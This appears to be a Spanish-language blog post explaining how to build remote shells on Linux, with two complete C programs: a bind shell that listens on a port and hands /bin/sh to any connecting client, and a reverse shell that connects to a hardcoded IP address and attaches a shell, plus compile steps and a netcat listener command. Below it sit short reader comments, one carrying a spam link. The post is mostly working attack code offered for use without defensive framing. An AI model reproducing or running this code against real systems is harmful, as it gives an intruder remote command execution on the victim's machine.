Avatar de usuario por pello in January 1, 1970, 1:00 am

En linux usando sockets y la llamada dup se puede crear una especie de shell remoto de forma muy sencilla,

 

#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>

int main () {

int sock,canal;
struct sockaddr_in dir_servidor;

dir_servidor.sin_family=2;
dir_servidor.sin_addr.s_addr=0;
dir_servidor.sin_port=0x1337;

sock=socket(2,1,0);

bind(sock,(struct sockaddr *) &dir_servidor,0x10);

listen(sock,1);

canal = accept(sock,0,0);

dup2(canal,0);
dup2(canal,1);

execve("/bin/sh",0,0);

}

Hacer un shell inverso tampoco es complicado, luego basta con usar netcat al otro lado.

/**
* reverseshell.c
* Shell inverso. Se conecta a un socket externo
* y asocia a un shell local.
* Para generar una IP en hexadecimal
*   perl -e 'printf "0x" . "%02x"x4 . "n",249,1,168,192'
* El puerto tb es un número hexadecimal:
*   perl -e 'printf "0x" . "%04x" . "n",14099'
*   darle la vuelta al resultado por pares: 0x3713 pasar a 0x1337
* Para compilar:
* gcc -o reverseshell reverseshell.c
* Para comprobar:
* nc -l -p  14099
*/

#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>

int main () {

int canal;
struct sockaddr_in dir_servidor;

dir_servidor.sin_family=2;
dir_servidor.sin_addr.s_addr=0xf901a8c0;
dir_servidor.sin_port=0x1337;

canal=socket(2,1,6);

connect(canal,(struct sockaddr *) &dir_servidor,0x10);

dup2(canal,0);
dup2(canal,1);

execve("/bin/sh",0,0);

}
3 comments |  PELMAlink |  1271 reads
5 de 1
dejar comentario
Comentarios
#1 avatar de Cloaked Anonymous dice:
Interesante
Pues yo...creo que esta interesante el post lo voy a checar mas tarde
+-0 de 0
in January 1, 1970, 1:02 am
#2 avatar de Cloaked Anonymous dice:
donaldjeo
Ok, mal uso de ella ... ------------------------------------------- <a href="www.cisco-study-guides.com">cisco study guides</a> Ofrecerle grandes y útiles conocimientos sobre el mundo de Cisco.
+-0 de 0
in January 1, 1970, 1:02 am
#3 avatar de yo dice:
<
+-0 de 0
in July 27, 2010, 9:24 pm





Leer e insertar esto